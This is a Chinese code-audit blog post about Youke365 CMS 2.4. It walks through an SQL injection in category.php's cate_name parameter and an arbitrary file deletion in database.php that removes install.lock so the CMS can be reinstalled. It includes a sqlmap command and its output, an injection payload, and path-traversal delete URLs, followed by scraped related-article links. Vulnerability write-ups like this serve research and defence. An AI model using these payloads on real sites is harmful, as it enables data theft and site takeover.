本文作者:X_Al3r

Prat 0 自白

每一天都是新的一天。
没啥吐槽的,步入正题

/system/category.php 文件一处Sql注入## 80-87行代码

        $root_id = intval(trim($_POST['root_id']));
        $cate_name = trim($_POST['cate_name']);
        $cate_dir = trim($_POST['cate_dir']);
        $cate_url = trim($_POST['cate_url']);
        $cate_isbest = intval($_POST['cate_isbest']);
        $cate_order = intval($_POST['cate_order']);
        $cate_keywords = trim($_POST['cate_keywords']);
        $cate_description = trim($_POST['cate_description']);

110-124行代码

if ($action == 'saveadd') {
            $query = $DB->query("SELECT cate_id FROM $table WHERE root_id='$root_id' AND cate_name='$cate_name'");             if ($DB->num_rows($query)) {
                msgbox('您所添加的分类已存在!');
            }
                $DB->insert($table, $data);
                update_categories();
                update_cache('categories');                 $fileurl = empty($root_id) ? $fileurl .= '?act=add' : $fileurl .= '?act=add&root_id='.$root_id;
                msgbox('分类添加成功!', $fileurl);
        } elseif ($action == 'saveedit') {
                $cate_id = intval($_POST['cate_id']);
                $where = array('cate_id' => $cate_id);

首先我们需要直到,注意看$cate_name,从POST获取参数然后去掉空格。
然后$action获取到的参数为saveadd的时候先把$cate_name带入查询。
判断数据库是否存在这个名字,如果满足条件则进入msgbox(‘您所添加的分类已存在!’);
没满足条件则添加。
注意第20行代码,我们可以肯定,他肯定是先通过一次sql语句进行查询。

漏洞利用

报错了,没有关系,我们开启mysql监测看一下是否有带入sql查询

SELECT cate_id FROM dir_categories WHERE root_id='1' AND cate_name='aaaa' and 1=1 --'

考虑到可能会因为时间过长导致cookie失效,所以建议直接使用–tech参数来指定一下注入类型。

sqlmap -r "/mnt/d/test.txt" -p cate_name --dbms=mysql --random-agent --tech B --users

结果:

Parameter: cate_name (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: root_id=1&cate_name=aaaa' AND 6067=6067 AND 'yrhI'='yrhI&cate_dir=aaaa&cate_url=aaaa&cate_keywords=aaaa&cate_description=aaa&cate_order=0&act=saveadd
---
[17:58:46] [INFO] testing MySQL
[17:58:46] [INFO] confirming MySQL
[17:58:46] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.0
[17:58:46] [INFO] fetching database users
[17:58:46] [INFO] fetching number of database users
[17:58:46] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[17:58:46] [INFO] retrieved: 3
[17:59:28] [INFO] retrieved: 'root'@'localhost'
[18:10:25] [INFO] retrieved: 'root'@'127.0.0.1'
[18:22:37] [INFO] retrieved: 'root'@'::1'
database management system users [3]: 'root'@'127.0.0.1' 'root'@'::1' 'root'@'localhost'

当然,在获取数据的时候也有可能会导致cookie失效,但是后台没有验证码。
当我们得知后台账号密码的情况下,完全可以造个轮子。
因为比较懒,就暂时不写poc了。

/system/database.php 文件一处任意文件删除可导致Cms重装

156-165行代码

if ($action == 'delete') {
        $bakfile = trim($_GET['file']);
        $filepath = $DBak->datadir.$bakfile;         if (unlink($filepath)) {
                msgbox('文件删除成功!', $fileurl.'?act=restore');
        } else {
                msgbox('文件删除失败!');
        }
}

OK,我们继续看第158行

首先他从get获取file参数,然后在去掉两边的空格存入$bakfile

然后拼接文件地址,这里用了datadir,我们跟过去看一下。

        public function __construct($db_host, $db_user, $db_pass, $db_name, $charset = 'utf8') {               
                $this->connect($db_host, $db_user, $db_pass, $db_name, $charset);//连接数据
                $this->datadir = ROOT_PATH.'data/dbbak/';
        }

文件成功删除,可能有小伙伴会问了,这没达到任意文件删除的目的。

这只是删除掉了指定目录的任意文件。

所以,我们需要删除掉其他目录的文件。

利用../往上跳目录,例如我想删除根目录的文件就需要跳两次

payload: system/database.php?act=delete&file=../../a.txt

OK,可能会有小伙伴会觉得任意文件删除没有啥意义。

接下来我们继续看。

install/install.php

17-19行代码

//判断是否已经安装过
if (file_exists(ROOT_PATH.'data/install.lock')) {
        failure('你已经安装过本系统!<br />如果还继续安装,请先删除data/install.lock,再继续');
}

首先在cms重装前,会判断是否有data/install.lock文件,如果有则不进去后面的代码。
没有则开始进行重装。
那么我们只需要删除掉data/install就好了

payload : system/database.php?act=delete&file=../../data/install.lock

就可以达到重装。

因为重装会导致站点会瘫痪,所以不建议各位重装,以及删除任何文件。

>>>>>>黑客入门必备技能   带你入坑,和逗比表哥们一起聊聊黑客的事儿,他们说高精尖的技术比农药都好玩!

 

Youke365_2_4 一处Sql注入漏洞以及一处任意文件删除的更多相关文章

  1. jdbc mysql crud dao模型 sql注入漏洞 jdbc 操作大文件

    day17总结 今日内容 l JDBC 1.1 上次课内容总结 SQL语句: 1.外键约束:foreign key * 维护多个表关系! * 用来保证数据完整性! 2.三种关系: * 一对多: * 一 ...

  2. Discuz!X V3.4后台任意文件删除

    Discuz!X V3.4后台任意文件删除 简述 该漏洞为后台任意文件删除,需要有管理员的权限,所以说危害非常小 复现环境 docker.vulhub-master 项目地址:https://gite ...

  3. PHPCMS V9.6.0 SQL注入漏洞分析

    0x01 此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似.且较为有趣,故在此分析并附上exp. 0x02 首先复现漏洞,环境为: PHP:5.4.45 + Apa ...

  4. ref:ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)

    ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3) ref:https://www.jianshu.com/p/18d06277161e TimeSHU 2018.04 ...

  5. Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说。。。

    Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说... root@xi4ojin:~# cd ...

  6. WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞

    漏洞名称: WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞 CNNVD编号: CNNVD-201309-388 发布时间: 2013-09-24 更新 ...

  7. 什么是简单的分析SQL注入漏洞

    如今非常多人在入侵的过程中基本都是通过SQL注入来完毕的,可是有多少人知道为什么会有这种注入漏洞呢?有的会随口说着对于字符的过滤不严造成的. 可是事实是这样吗?我们学这些.不仅要知其然.更要知其所以然 ...

  8. SQL注入漏洞总结

    目录: 一.SQL注入漏洞介绍 二.修复建议 三.通用姿势 四.具体实例 五.各种绕过 一.SQL注入漏洞介绍: SQL注入攻击包括通过输入数据从客户端插入或“注入”SQL查询到应用程序.一个成功的S ...

  9. [代码审计]云优cms V 1.1.2前台多处sql注入,任意文件删除修复绕过至getshell

    0X00 总体简介 云优CMS于2017年9月上线全新版本,二级域名分站,内容分站独立,七牛云存储,自定义字段,自定义表单,自定义栏目权限,自定义管理权限等众多功能深受用户青睐,上线短短3个月,下载次 ...

随机推荐

  1. Js下载文件到本地(兼容多浏览器)

    在客户端通过js下载文件,试过几种下载方式,iframe方式仅限于IE浏览器,window.open(url),location.href=url 这两种方式在chrome浏览器还会是直接打开文件而不 ...

  2. Devexpress ChartControl 柱状图简单例子

    //using DevExpress.XtraEditors; //using DevExpress.XtraCharts; // Create an empty chart. ChartContro ...

  3. LaTeX 公式(转自)Iowa_Battleship 神犇

    传送门 (我这个蒟蒻只是mark一下 这个LaTex公式很全!!我是照着打数学公式的!! orz大佬Iowa

  4. 还不好好读书吗?清华3D录取通知书出炉,还能动!

    近日,清华大学2018录取通知书“亮相”!看完后,网友直呼:哪里可以买到? 打开录取通知书 3D“二校门”跃然纸上 由清华师生共同打造.手工定制.独一无二的2018新版录取通知书来了!在新版录取通知书 ...

  5. 13.8.8 div块 居中

    <div style="border:1px solid blue;width:760px; height:410px; position:absolute; left:50%; to ...

  6. mysql 1045 access denied for user********

    另一个方法Windows: 1. 管理员登陆系统,停止mysql服务或者结束mysqld-nt进程2. 进入命令行,来到mysql的安装目录.假设安装目录为 d:/mysql/ , CMD进入命令行3 ...

  7. Linux操作系统Vim代码Tab自动补全配置

    function! CleverTab() , col( ) =~ '^\s*$' return "\<Tab>" else return "\<C-N ...

  8. CodeForces 611C New Year and Domino (动态规划,DP)

    题意:给定一个h*w的网格,里面只有.和#,.表示空的,#表示禁止的,然后有q个询问,询问中给你两个坐标,分别是左上和右下,求在这两者中间的有多少种(竖着和横着)两个相邻的点. 析:一看到这个题目,肯 ...

  9. 201709018工作日记--RecyclerView的使用(点击,瀑布流的实现)

    参考相关博客: http://www.jianshu.com/p/55e3f1b6701f  刘望舒 http://www.jianshu.com/p/4fc6164e4709 王三的猫阿德 http ...

  10. JAVA中的内联函数

    在说内联函数之前,先说说函数的调用过程. 调用某个函数实际上将程序执行顺序转移到该函数所存放在内存中某个地址,将函数的程序内容执行完后,再返回到 转去执行该函数前的地方.这种转移操作要求在转去前要保护 ...